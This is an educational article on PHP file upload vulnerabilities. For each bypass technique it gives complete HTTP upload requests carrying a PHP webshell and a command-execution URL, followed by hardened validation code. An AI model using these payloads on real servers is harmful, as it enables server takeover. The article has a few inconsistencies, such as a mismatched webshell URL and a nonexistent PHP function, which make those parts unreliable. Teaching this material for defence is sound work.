Cover Image

Upload Vulnerabilities: Understanding, Exploiting, and Fixing

What is an upload vulnerability?

Upload vulnerabilities are a common security flaw on websites that allow users to upload files. Attackers can exploit this vulnerability by uploading malicious files to the server, which can lead to security compromises. In this article, we will explain how upload vulnerabilities work, how attackers can exploit them, and how to fix them.

How upload vulnerabilities work

Upload vulnerabilities occur when a website does not properly validate files uploaded by users. Attackers can take advantage of this vulnerability by uploading malicious files to the server, such as webshells, which allow attackers to take control of the server.

There are several techniques used to exploit upload vulnerabilities, including:

  • File extension bypass: Attackers can rename a malicious file with an allowed file extension to bypass file extension-based upload restrictions.
  • Null byte character usage: This technique is specific to PHP 5 and below. Attackers can add a null character at the end of a filename to hide the actual file extension.
  • Double extensions usage: Attackers can add additional file extensions to a malicious file to bypass file extension-based upload restrictions.
  • MIME type manipulation: Attackers can modify a file’s MIME type information to trick the server and allow the upload of malicious files.
  • .htaccess file usage: Attackers can use an .htaccess file to bypass upload restrictions by adding directives to allow the upload of malicious files.
  • Magic byte bypass: Attackers can modify the magic byte of a malicious file to trick file reading programs and execute them unexpectedly.

Exploiting upload vulnerabilities

To exploit an upload vulnerability, an attacker must upload a malicious file to the server. Here are examples of HTTP requests that can be used to upload a malicious file to the server by exploiting different upload vulnerabilities:

File extension bypass

HTTP request to bypass file extension-based upload restrictions:

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--

In this example, the malicious file is renamed with a .jpg extension to bypass file extension-based upload restrictions.

The file content is a webshell code that allows the attacker to take control of the server via the URL “http://example.com/uploads/webshell.php.jpg?cmd=whoami ”.

Null byte character usage

HTTP request to exploit the null byte character vulnerability:

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php%00.jpg"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--

In this example, the filename is webshell.php%00.jpg, where %00 represents the null character. This character is added at the end of the filename to hide the actual file extension and trick the server. The file content is a webshell code that allows the attacker to take control of the server via the URL http://example.com/uploads/webshell.php?cmd=whoami .

Double extensions usage

HTTP request to exploit the double extensions vulnerability:

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.jpg.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--

In this example, the filename is webshell.jpg.php, which has two file extensions. The file content is a webshell code that allows the attacker to take control of the server via the URL "http://example.com/uploads/webshell.jpg.php?cmd=whoami ".

Magic byte vulnerability exploitation

Magic bytes, also known as Magic Byte, are a sequence of bytes located at the beginning of a file that allow determining its file type. Security checks based on magic bytes can be bypassed by modifying the magic bytes to match an allowed file type.

Here is an example of vulnerable PHP code:

$file = $_FILES['file']['tmp_name'];
$mime = file_mime_type($file);

if (strpos($mime, 'image') === false) {
    die('File is not a supported image format.');
}

To exploit this vulnerability, an attacker can modify the magic bytes of a malicious file to match an allowed file type. Here is an example HTTP request to exploit the Magic Byte vulnerability:

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 220
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg
\xFF\xD8\xFF\xE0<?php system($_GET['cmd']); ?>

In this example, the malicious file has been renamed to webshell.php to trick the server, and the magic bytes have been replaced with JPEG magic bytes (FFD8FFE0 in hex) to avoid server detection.

To fix this vulnerability, it is recommended to use PHP functions specific to MIME type to validate the file type. For example, the finfo_file() function can be used to retrieve the actual MIME type of the file. Here is an example of corrected PHP code:

$file = $_FILES['file']['tmp_name'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $file);

if (!in_array($mime, array('image/jpeg', 'image/png', 'image/gif'))) {
    die('File is not an allowed image type');
}

By using this method, the actual MIME type of the file is verified, which allows detecting attempts to exploit the Magic Byte vulnerability.

MIME type manipulation

HTTP request to exploit the MIME type manipulation vulnerability:

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 244
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="type"

image/jpeg
-----------------------------19662891931763351995939054936--

In this example, the MIME type is set to image/jpeg to trick the server. The file content is a webshell code that allows the attacker to take control of the server via the URL “http://example.com/uploads/webshell.php?cmd=whoami ”.

.htaccess file usage

HTTP request to exploit the .htaccess file usage vulnerability:

POST /upload.php HTTP/1.1
Host: example.com
Content-Length: 197
Content-Type: multipart/form-data; boundary=---------------------------19662891931763351995939054936
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: text/plain

<FilesMatch "webshell\.uwu$">
    ForceType application/x-httpd-php
</FilesMatch>
-----------------------------19662891931763351995939054936
Content-Disposition: form-data; name="file"; filename="webshell.uwu"
Content-Type: image/jpeg
<?php system($_GET['cmd']); ?>
-----------------------------19662891931763351995939054936--

In this example, a .htaccess file is added with code that modifies the MIME type of the webshell.uwu file to application/x-httpd-php. This allows executing the webshell.uwu file as a PHP script, even though it has a different file extension. The content of the webshell.uwu file is the same as the previous examples, a webshell code that allows the attacker to take control of the server via the URL "http://example.com/uploads/webshell.php?cmd=whoami ".

How to prevent or minimize risks

There are several ways to prevent or minimize the risks of upload vulnerabilities:

Limit accepted file types

One of the simplest security measures to take is to limit the file types accepted by the application to safe and known formats. This can be done by checking the file extension or the MIME type of the uploaded file.

File extension verification

File extension verification is a common security measure to restrict uploaded file types. However, this method can be easily bypassed by renaming the uploaded file with a different extension. Therefore, it is recommended to verify the MIME type of the uploaded file in addition to the file extension.

MIME type verification

MIME type verification is a more reliable method to verify the type of uploaded file. This can be done by using the PHP finfo_file() function to retrieve the MIME type of the uploaded file.

Access rights verification

Access rights to the upload folder must be properly configured to prevent malicious uploads. Upload folders should not be writable by all users.

Rename uploaded file

To prevent file extension manipulation, it is recommended to rename the uploaded file using a unique filename. This can be done by using the PHP uniqid() function to generate a unique filename.

Restrict execution permissions

It is recommended to restrict execution permissions on uploaded files to prevent the execution of malicious scripts. This can be done by removing execution permissions for uploaded files.

Here is an example of corrected code that implements the security measures mentioned above:

<?php
/* Verify access rights to upload folder */
$upload_dir = '/path/to/upload/dir';
if (!is_writable($upload_dir)) {
    die('Error: Upload folder is not writable');
}

/* Verify MIME type of uploaded file */
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
$allowed_mime_types = array('image/jpeg', 'image/png', 'image/gif');
if (!in_array($mime_type, $allowed_mime_types)) {
    die('Error: File type not allowed');
}

/* Rename uploaded file with unique name */
$file_name = uniqid() . '_' . $_FILES['file']['name'];
$upload_file = $upload_dir . '/' . $file_name;

/* Verify file extension (optional) */
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif');
$file_extension = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
if (!in_array($file_extension, $allowed_extensions)) {
    die('Error: File extension not allowed');
}

/* Verify uploaded file size (optional) */
$max_file_size = 5 * 1024 * 1024; // 5 MB
if ($_FILES['file']['size'] > $max_file_size) {
    die('Error: File size exceeds allowed limit');
}

/* Move uploaded file to upload folder */
if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_file)) {
    echo 'File uploaded successfully';
} else {
    echo 'Error: Upload failed';
}

This code performs a series of checks to minimize the risks of upload vulnerabilities. It verifies access rights to the upload folder, the MIME type of the uploaded file, renames the uploaded file with a unique name, verifies the file extension (optional) and the uploaded file size (optional), and finally moves the uploaded file to the upload folder if all checks pass.

⚠️ It is important to emphasize that computer security is never absolute. Although the security measures mentioned above can reduce the risks of upload vulnerabilities, it is always possible that vulnerabilities specific to the technology used will be discovered in the future.

Therefore, it is recommended to take security measures with caution and stay alert for new vulnerabilities and security patches. In addition, it is strongly advised to keep systems and applications up to date with the latest security updates to reduce the risks of known vulnerabilities.